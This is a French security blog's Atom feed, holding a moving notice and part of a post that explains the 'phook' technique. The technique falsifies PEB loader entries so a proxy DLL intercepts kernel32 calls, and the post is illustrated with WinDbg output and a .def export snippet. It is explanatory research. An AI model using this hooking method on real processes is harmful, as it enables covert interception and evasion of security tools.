<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5190877782491799334</id><updated>2011-10-24T08:26:25.292-07:00</updated><category term='debuggeur'/><category term='Object Header'/><category term='ntlm hash'/><category term='IDA'/><category term='WaitForDebugEvent'/><category term='driver keyboard'/><category term='device'/><category term='injection shellcode'/><category term='protection logicielle'/><category term='vm'/><category term='packer c'/><category term='objmgr'/><category term='hook souris'/><category term='analyse malware'/><category term='PsLookupByProcessId'/><category term='keylogger'/><category term='filter manager'/><category term='hzv mag'/><category term='poc sudami'/><category term='api native'/><category term='naked'/><category term='prise d&apos;information'/><category term='readprocessmemory'/><category term='loader'/><category term='hook'/><category term='futurezone'/><category term='IRP_MJ_READ'/><category term='smss.exe'/><category term='windows handle'/><category term='depassement de tampon'/><category term='portable executable'/><category term='minifilter driver'/><category term='HCL'/><category term='0vercl0k.tuxfamily.org'/><category term='coder vm'/><category term='kd'/><category term='NtQueryDirectoryFile'/><category term='inf file'/><category term='injection dll'/><category term='csrss'/><category term='CloseHandle'/><category term='c0rt3x'/><category term='debug event'/><category term='fuzzer'/><category term='iat patching'/><category term='thread id'/><category term='shellcodes'/><category term='md5 sh4ka'/><category term='buffer overflow'/><category term='control keyboard'/><category term='ph03nix'/><category term='Apis debug'/><category term='Corruption PE'/><category term='gui thread'/><category term='virtualization'/><category term='fuzzing'/><category term='win32k.sys'/><category term='samsrv.dll'/><category term='machine virtuelle'/><category term='file system minifilter'/><category term='subverting windows kernel'/><category term='Fltmgr'/><category term='PE'/><category term='killMe'/><category term='processus immortel'/><category term='reverse shell'/><category term='blackclowns'/><category term='noxistes'/><category term='fz'/><category term='hook NtQueryDirectoryFile'/><category term='Object type initializers'/><category term='phook'/><category term='peb hooker'/><category term='tid'/><category term='virtual machine'/><category term='NDIS'/><category term='tls callbacks'/><category term='kernel socket'/><category term='driver'/><category term='rootkit ring3'/><category term='anti xxx'/><category term='lsass.exe'/><category term='cacher fichier'/><category term='IRP_MJ_DIRECTORY_CONTROL'/><category term='SAM'/><category term='processus inkillable'/><category term='mini filter driver'/><category term='librairie'/><category term='ajout section'/><category term='SetThreadContext'/><category term='.inf'/><category term='Object Body'/><category term='hide process'/><category term='ntlm'/><category term='remote debugging'/><category term='PspProcessDelete'/><category term='kernel'/><category term='eat ntdll'/><category term='packer'/><category term='lm'/><category term='hidding with DKOM'/><category term='thread gui'/><category term='desassembler'/><category term='ntoskrnlpa.exe'/><category term='anti dbg'/><category term='xor'/><category term='Harpe'/><category term='dreg'/><category term='defigutte1'/><category term='failles php'/><category term='scancode'/><category term='sudamiKillMe'/><category term='h0l0c4ust'/><category term='naked0453.com'/><category term='ollydbg'/><category term='sc0ubi'/><category term='event debug'/><category term='ajouter une section'/><category term='phrack 65'/><category term='OpenProcedure'/><category term='tls'/><category term='ssdt hook'/><category term='gestion processus'/><category term='import address table'/><category term='phrack'/><category term='Demenagement'/><category term='breakpoint'/><category term='rootkit r3'/><category term='PEB'/><category term='mrinfo'/><category term='reecriture seh'/><category term='Shearer'/><category term='TDI'/><category term='analyse'/><category term='callback'/><category term='SetWindowsHookEx()'/><category term='h-cl'/><category term='r0'/><category term='routine completion'/><category term='gui'/><category term='www.0vercl0k.fr'/><category term='objects manger'/><category term='rkunhooker'/><category term='Virtualisation'/><category term='exploitation buffer overflow'/><category term='malware msn'/><category term='ghosts in the stack'/><category term='phook peb hooker'/><category term='dep bypass'/><category term='pwdump'/><category term='Completion routine'/><category term='lib'/><category term='exploit'/><category term='keyboard driver'/><category term='Squallsurf'/><category term='Transport driver interface'/><category term='hook clavier'/><category term='decharger dll'/><category term='DKOM'/><category term='dkom process'/><category term='KLOG'/><category term='hook api native'/><category term='EPROCESS'/><category term='hot patching'/><category term='hzv'/><category term='overflow'/><category term='stack overflow'/><category term='rewrite eip'/><category term='pspcidtable'/><category term='unload dll'/><category term='unlink csrss'/><category term='rootkit r0'/><category term='python'/><category term='dump iat'/><category term='handle'/><category term='ring3'/><category term='file handle'/><category term='ethread'/><category term='C4lim3r0'/><category term='naked.com'/><category term='kill processus'/><category term='thread identifier'/><category term='debug'/><category term='SSDT shadow'/><category term='ring0'/><category term='s4mmy'/><category term='shellcode statique'/><category term='php'/><category term='pefile'/><category term='ntdll'/><category term='nmap'/><category term='esrever'/><category term='mapping'/><category term='rootkit userland'/><category term='sudami'/><category term='GetThreadContext'/><category term='hotpatching'/><category term='stack'/><category term='tolwin'/><category term='lm hash'/><category term='noxistes website'/><category term='seh'/><category term='lilxam'/><category term='apc kernel'/><title type='text'>0vercl0k's blog.</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-7364131159315088969</id><published>2009-07-19T08:50:00.000-07:00</published><updated>2009-07-19T08:57:49.536-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='0vercl0k.tuxfamily.org'/><category scheme='http://www.blogger.com/atom/ns#' term='Demenagement'/><title type='text'>Demenagement.</title><content type='html'>Comme le titre du post l'indique, j'ai décidé de quitter blogspot ; en effet j'ai eu de très nombreux problèmes de mise en page lors de la rédaction de mes articles, a tel point que la rédaction devenait insupportable.&lt;br /&gt;Résultat, j'ai fais une demande d'hébergement chez &lt;a href="http://www.tuxfamily.org/"&gt;tuxfamily&lt;/a&gt; ou j'ai installé un Wordpress.&lt;br /&gt;Au final, le nouveau blog me plait, sobre/sombre/sérieux, je continuerais donc mes publications sur celui-ci :&lt;br /&gt;&lt;a href="http://0vercl0k.tuxfamily.org/bl0g/"&gt;http://0vercl0k.tuxfamily.org/bl0g/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Mettez à jour vos RSS ;).&lt;br /&gt;A la prochaine o/.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-7364131159315088969?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/7364131159315088969/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=7364131159315088969' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/7364131159315088969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/7364131159315088969'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2009/07/demenagement.html' title='Demenagement.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-2989336870801606578</id><published>2009-05-19T09:49:00.000-07:00</published><updated>2009-05-23T08:39:00.733-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='peb hooker'/><category scheme='http://www.blogger.com/atom/ns#' term='PEB'/><category scheme='http://www.blogger.com/atom/ns#' term='Shearer'/><category scheme='http://www.blogger.com/atom/ns#' term='phook'/><category scheme='http://www.blogger.com/atom/ns#' term='phrack 65'/><category scheme='http://www.blogger.com/atom/ns#' term='phrack'/><category scheme='http://www.blogger.com/atom/ns#' term='phook peb hooker'/><category scheme='http://www.blogger.com/atom/ns#' term='hook'/><category scheme='http://www.blogger.com/atom/ns#' term='dreg'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='pefile'/><title type='text'>Understand phook's internals.</title><content type='html'>Je me décide &lt;span style="font-weight: bold;"&gt;finalement &lt;/span&gt;à publier un &lt;span style="font-weight: bold;"&gt;petit &lt;/span&gt;quelque chose, malgré tous le &lt;span style="font-weight: bold;"&gt;taff &lt;/span&gt;que les &lt;span style="font-weight: bold;"&gt;études&lt;/span&gt; peuvent me demander en ce moment :).&lt;br /&gt;&lt;br /&gt;Entrons dans le vif du sujet, "&lt;span style="font-weight: bold;"&gt;phook&lt;/span&gt;" est le nom donné à un &lt;span style="font-weight: bold;"&gt;PoC &lt;/span&gt;réalisé par &lt;a href="http://www.fr33project.org/"&gt;&lt;span style="font-weight: bold;"&gt;Shearer and Dreg&lt;/span&gt;&lt;/a&gt; concernant une technique de &lt;span style="font-weight: bold;"&gt;hook &lt;/span&gt;peu &lt;span style="font-weight: bold;"&gt;commune&lt;/span&gt;, je dirais même &lt;span style="font-weight: bold;"&gt;nouvelle&lt;/span&gt;.&lt;br /&gt;Un &lt;span style="font-weight: bold;"&gt;paper &lt;/span&gt;à d'ailleurs été publié dans la &lt;span style="font-weight: bold;"&gt;dernière &lt;/span&gt;issues de &lt;a href="http://phrack.org/"&gt;&lt;span style="font-weight: bold;"&gt;phrack&lt;/span&gt;&lt;/a&gt; (65).&lt;br /&gt;Après sa lecture, la mise en place de la &lt;span style="font-weight: bold;"&gt;technique &lt;/span&gt;reste assez &lt;span style="font-weight: bold;"&gt;floue&lt;/span&gt;, je decide donc de partager mon &lt;span style="font-weight: bold;"&gt;PoC &lt;/span&gt;(même pas complet !) ; celui-ci m'a permis de me rendre compte qu'au final la &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt; est loin d'être &lt;span style="font-weight: bold;"&gt;parfaite &lt;/span&gt;et &lt;span style="font-weight: bold;"&gt;imprenable&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Pour situer le sujet, les &lt;span style="font-weight: bold;"&gt;auteurs &lt;/span&gt;nous propose de &lt;span style="font-weight: bold;"&gt;combiner &lt;/span&gt;de "&lt;span style="font-weight: bold;"&gt;l'iat patching&lt;/span&gt;", avec leur &lt;span style="font-weight: bold;"&gt;nouvel &lt;/span&gt;technique donc, pour nous assurer un &lt;span style="font-weight: bold;"&gt;total contrôle&lt;/span&gt; des apis.&lt;br /&gt;La &lt;span style="font-weight: bold;"&gt;nouveauté &lt;/span&gt;dans tout cela, c'est qu'avec une &lt;span style="font-weight: bold;"&gt;simple &lt;/span&gt;modification de la &lt;span style="font-weight: bold;"&gt;table des importations &lt;/span&gt;d'un binaire, nous allons &lt;span style="font-weight: bold;"&gt;contrôler &lt;/span&gt;seulement les appels "&lt;span style="font-weight: bold;"&gt;statiques&lt;/span&gt;", ceux qui ne seront pas résolus &lt;span style="font-weight: bold;"&gt;dynamiquement&lt;/span&gt;.&lt;br /&gt;En effet, si dans le cadre d'un &lt;span style="font-weight: bold;"&gt;hook d'iat&lt;/span&gt; nous retrouvons nos fonctions &lt;span style="font-weight: bold;"&gt;dynamiquement &lt;/span&gt;en utilisant &lt;span style="font-weight: bold;"&gt;GetModuleHandle &lt;/span&gt;et &lt;span style="font-weight: bold;"&gt;GetProcAddress &lt;/span&gt;et bien la technique devient inutile.&lt;br /&gt;&lt;br /&gt;Nos deux &lt;span style="font-weight: bold;"&gt;compères &lt;/span&gt;nous proposent alors un &lt;span style="font-weight: bold;"&gt;périple &lt;/span&gt;dans le &lt;span style="font-weight: bold;"&gt;PEB&lt;/span&gt;, pour être plus précis, ils nous proposent de &lt;span style="font-weight: bold;"&gt;falsifier &lt;/span&gt;les champs &lt;span style="font-weight: bold;"&gt;DllBase&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;EntryPoint &lt;/span&gt;et &lt;span style="font-weight: bold;"&gt;SizeOfImage &lt;/span&gt;des structures &lt;span style="font-weight: bold;"&gt;LDR_DATA_TABLE_ENTRY&lt;/span&gt;  pointé par chaque &lt;span style="font-weight: bold;"&gt;entrée &lt;/span&gt;de la liste doublement chainée &lt;span style="font-weight: bold;"&gt;PEB.Ldr.InLoadOrderModuleList&lt;/span&gt;.&lt;br /&gt;Voici sa structure :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;   lkd&gt; dt nt!_LDR_DATA_TABLE_ENTRY&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x000 InLoadOrderLinks : _LIST_ENTRY&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x008 InMemoryOrderLinks : _LIST_ENTRY&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x010 InInitializationOrderLinks : _LIST_ENTRY&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x018 &lt;span style="font-weight: bold;"&gt;DllBase          &lt;/span&gt;: Ptr32 Void&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x01c &lt;span style="font-weight: bold;"&gt;EntryPoint       &lt;/span&gt;: Ptr32 Void&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x020 &lt;span style="font-weight: bold;"&gt;SizeOfImage      &lt;/span&gt;: Uint4B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x024 FullDllName      : _UNICODE_STRING&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x02c BaseDllName      : _UNICODE_STRING&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x034 Flags            : Uint4B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x038 LoadCount        : Uint2B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x03a TlsIndex         : Uint2B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x03c HashLinks        : _LIST_ENTRY&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x03c SectionPointer   : Ptr32 Void&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x040 CheckSum         : Uint4B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x044 TimeDateStamp    : Uint4B&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x044 LoadedImports    : Ptr32 Void&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x048 EntryPointActivationContext : Ptr32 Void&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;   +0x04c PatchInformation : Ptr32 Void&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Pour rappel, cette &lt;span style="font-weight: bold;"&gt;liste &lt;/span&gt;stocke les &lt;span style="font-weight: bold;"&gt;modules &lt;/span&gt;chargés par un &lt;span style="font-weight: bold;"&gt;binaire &lt;/span&gt;dans l'ordre de &lt;span style="font-weight: bold;"&gt;chargement &lt;/span&gt;en &lt;span style="font-weight: bold;"&gt;mémoire&lt;/span&gt;, on est donc censé trouvé en &lt;span style="font-weight: bold;"&gt;premier &lt;/span&gt;lieu &lt;span style="font-weight: bold;"&gt;ntdll.dll&lt;/span&gt; bien sur suivit de &lt;span style="font-weight: bold;"&gt;kernel32.dll &lt;/span&gt;etc :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left; font-family: arial;"&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;kd&gt; !process 0 0 &lt;span style="font-weight: bold;"&gt;calc.exe&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;PROCESS &lt;span style="font-weight: bold;"&gt;814ad740  &lt;/span&gt;SessionId: 0  Cid: 01a4    Peb: 7ffdb000  ParentCid: 05bc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;    DirBase: 0d88d000  ObjectTable: e15ccbc0  HandleCount:  37.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;    Image: calc.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;kd&gt; .process &lt;span style="font-weight: bold;"&gt;814ad740&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;Implicit process is now 814ad740&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;WARNING: .cache forcedecodeuser is not enabled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;kd&gt; !peb&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;PEB at 7ffdb000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    InheritedAddressSpace:    No&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    ReadImageFileExecOptions: No&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    BeingDebugged:            No&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    ImageBaseAddress:         01000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    Ldr                       001a1e90&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    Ldr.Initialized:          Yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    Ldr.InInitializationOrderModuleList: 001a1f28 . 001a2d18&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    Ldr.InLoadOrderModuleList:           001a1ec0 . 001a2d08&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;    Ldr.&lt;span style="font-weight: bold;"&gt;InMemoryOrderModuleList&lt;/span&gt;:         001a1ec8 . 001a2d10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;            Base TimeStamp                     Module&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;         1000000 3b7d8410 Aug 17 22:52:32 2001 C:\WINDOWS\system32\calc.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        7c910000 4125331a Aug 20 01:09:14 2004 C:\WINDOWS\system32\&lt;span style="font-weight: bold;"&gt;ntdll.dll&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        7c800000 4623a01c Apr 16 18:11:08 2007 C:\WINDOWS\system32\&lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        7c9d0000 4125330f Aug 20 01:09:03 2004 C:\WINDOWS\system32\SHELL32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        77be0000 45d97cd4 Feb 19 11:32:52 2007 C:\WINDOWS\system32\msvcrt.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        77ef0000 45f030c5 Mar 08 16:50:29 2007 C:\WINDOWS\system32\GDI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        7e390000 45f030c6 Mar 08 16:50:30 2007 C:\WINDOWS\system32\USER32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        77da0000 412532e8 Aug 20 01:08:24 2004 C:\WINDOWS\system32\ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;font-size:85%;" &gt;        [...]&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Pour comprendre le &lt;span style="font-weight: bold;"&gt;principe &lt;/span&gt;même de la &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt;, il faut savoir que l'api &lt;span style="font-weight: bold;"&gt;GetModuleHandle&lt;/span&gt; par exemple, va &lt;span style="font-weight: bold;"&gt;parser &lt;/span&gt;cette liste afin de récupérer l'&lt;span style="font-weight: bold;"&gt;image base &lt;/span&gt;d'une &lt;span style="font-weight: bold;"&gt;dll &lt;/span&gt;par exemple.&lt;br /&gt;Imaginer que l'on echange le champs &lt;span style="font-weight: bold;"&gt;DllBase &lt;/span&gt;de la dll &lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt;, avec une dll &lt;span style="font-weight: bold;"&gt;factice &lt;/span&gt;; et bien un &lt;span style="font-weight: bold;"&gt;GetModuleHandle("kernel32.dll") &lt;/span&gt;nous renverrais l'&lt;span style="font-weight: bold;"&gt;image base &lt;/span&gt;de notre dll &lt;span style="font-weight: bold;"&gt;factice &lt;/span&gt;!&lt;br /&gt;C'est en fait le &lt;span style="font-weight: bold;"&gt;coeur &lt;/span&gt;de la &lt;span style="font-weight: bold;"&gt;technique&lt;/span&gt;, car celle-ci nécessite &lt;span style="font-weight: bold;"&gt;quelques &lt;/span&gt;pré-requis pour sa mise en place.&lt;br /&gt;&lt;br /&gt;Notre &lt;span style="font-weight: bold;"&gt;dll &lt;/span&gt;devra donc répondre à &lt;span style="font-weight: bold;"&gt;quelques &lt;/span&gt;exigences, en effet elle devra exporter le &lt;span style="font-weight: bold;"&gt;même&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;nombre &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;fonctions &lt;/span&gt;que la dll &lt;span style="font-weight: bold;"&gt;original&lt;/span&gt;, avec les &lt;span style="font-weight: bold;"&gt;mêmes &lt;/span&gt;noms de &lt;span style="font-weight: bold;"&gt;fonctions&lt;/span&gt;, ainsi que les mêmes &lt;span style="font-weight: bold;"&gt;ordinaux&lt;/span&gt;.&lt;br /&gt;Le &lt;span style="font-weight: bold;"&gt;premier &lt;/span&gt;problème auquel on est &lt;span style="font-weight: bold;"&gt;confronté&lt;/span&gt;, c'est alors de &lt;span style="font-weight: bold;"&gt;créer &lt;/span&gt;une dll qui &lt;span style="font-weight: bold;"&gt;exporte &lt;/span&gt;les mêmes noms de fonctions que &lt;span style="font-weight: bold;"&gt;kernel32.dll&lt;/span&gt; par exemple, en effet si l'on veut créer une exportation pour &lt;span style="font-weight: bold;"&gt;GetModuleHandle &lt;/span&gt;(par exemple), et bien, bien sur le &lt;span style="font-weight: bold;"&gt;compilateur &lt;/span&gt;nous &lt;span style="font-weight: bold;"&gt;crie &lt;/span&gt;dessus étant donné que cette &lt;span style="font-weight: bold;"&gt;fonction &lt;/span&gt;est déjà &lt;span style="font-weight: bold;"&gt;définie/déclarée&lt;/span&gt; dans les &lt;span style="font-weight: bold;"&gt;headers&lt;/span&gt; windows.&lt;br /&gt;&lt;br /&gt;Nos &lt;span style="font-weight: bold;"&gt;amis &lt;/span&gt;utilisent alors des fichiers de &lt;span style="font-weight: bold;"&gt;définitions &lt;/span&gt;(&lt;span style="font-weight: bold;"&gt;.def&lt;/span&gt;) à lier au &lt;span style="font-weight: bold;"&gt;binaire &lt;/span&gt;lors de l'&lt;span style="font-weight: bold;"&gt;édition des liens&lt;/span&gt; (avec &lt;span style="font-weight: bold;"&gt;mingw &lt;/span&gt;c'est l'option &lt;span style="font-weight: bold;"&gt;--def&lt;/span&gt;, et avec &lt;span style="font-weight: bold;"&gt;vc &lt;/span&gt;c'est &lt;span style="font-weight: bold;"&gt;/DEF:&lt;/span&gt;).&lt;br /&gt;Par exemple, pour exporter &lt;span style="font-weight: bold;"&gt;GetModuleHandleA&lt;/span&gt;, nous &lt;span style="font-weight: bold;"&gt;définirons&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;déclarerons &lt;/span&gt;la fonction comme suit :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;DLLEXPORT void &lt;span style="font-weight: bold;"&gt;GetModuleHandleA&lt;/span&gt;_()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     //do the stuff&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Et notre fichier de &lt;span style="font-weight: bold;"&gt;définitions &lt;/span&gt;sera comme cela :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;LIBRARY &lt;span style="font-weight: bold;"&gt;kernel32&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;EXPORTS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;GetModuleHandleA&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;=&lt;/span&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;GetModuleHandleA_ @ &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;29&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ou &lt;span style="font-weight: bold;"&gt;29 &lt;/span&gt;est l'ordinal d'exportation !&lt;br /&gt;&lt;br /&gt;Vous devez commencer à &lt;span style="font-weight: bold;"&gt;comprendre &lt;/span&gt;que notre &lt;span style="font-weight: bold;"&gt;dll&lt;/span&gt;, va être ni &lt;span style="font-weight: bold;"&gt;plus &lt;/span&gt;ni &lt;span style="font-weight: bold;"&gt;moins &lt;/span&gt;qu'une espèce de &lt;span style="font-weight: bold;"&gt;proxy &lt;/span&gt;entre le &lt;span style="font-weight: bold;"&gt;binaire&lt;/span&gt;, et la &lt;span style="font-weight: bold;"&gt;véritable dll&lt;/span&gt; ; cependant si l'appel nous &lt;span style="font-weight: bold;"&gt;intéresse &lt;/span&gt;nous le &lt;span style="font-weight: bold;"&gt;ré-définirons&lt;/span&gt; à notre guise, et nous appellerons l'api &lt;span style="font-weight: bold;"&gt;originel&lt;/span&gt;, à la manière d'un &lt;span style="font-weight: bold;"&gt;hook &lt;/span&gt;donc.&lt;br /&gt;&lt;br /&gt;Le second problème, est alors de retrouver l'adresse de cette api &lt;span style="font-weight: bold;"&gt;originel&lt;/span&gt;, pour cela nous utiliserons une macro qui &lt;span style="font-weight: bold;"&gt;grosso-modo&lt;/span&gt; réalisera :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;GetProcAddress(GetModuleHandleA("kernel32_.dll"), "NotreApi")&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ou &lt;span style="font-weight: bold;"&gt;kernel32_.dll&lt;/span&gt; est le nom de &lt;span style="font-weight: bold;"&gt;NOTRE &lt;/span&gt;dll, car si vous &lt;span style="font-weight: bold;"&gt;reflechissez &lt;/span&gt;30 &lt;span style="font-weight: bold;"&gt;secondes&lt;/span&gt;, une fois que le &lt;span style="font-weight: bold;"&gt;PEB 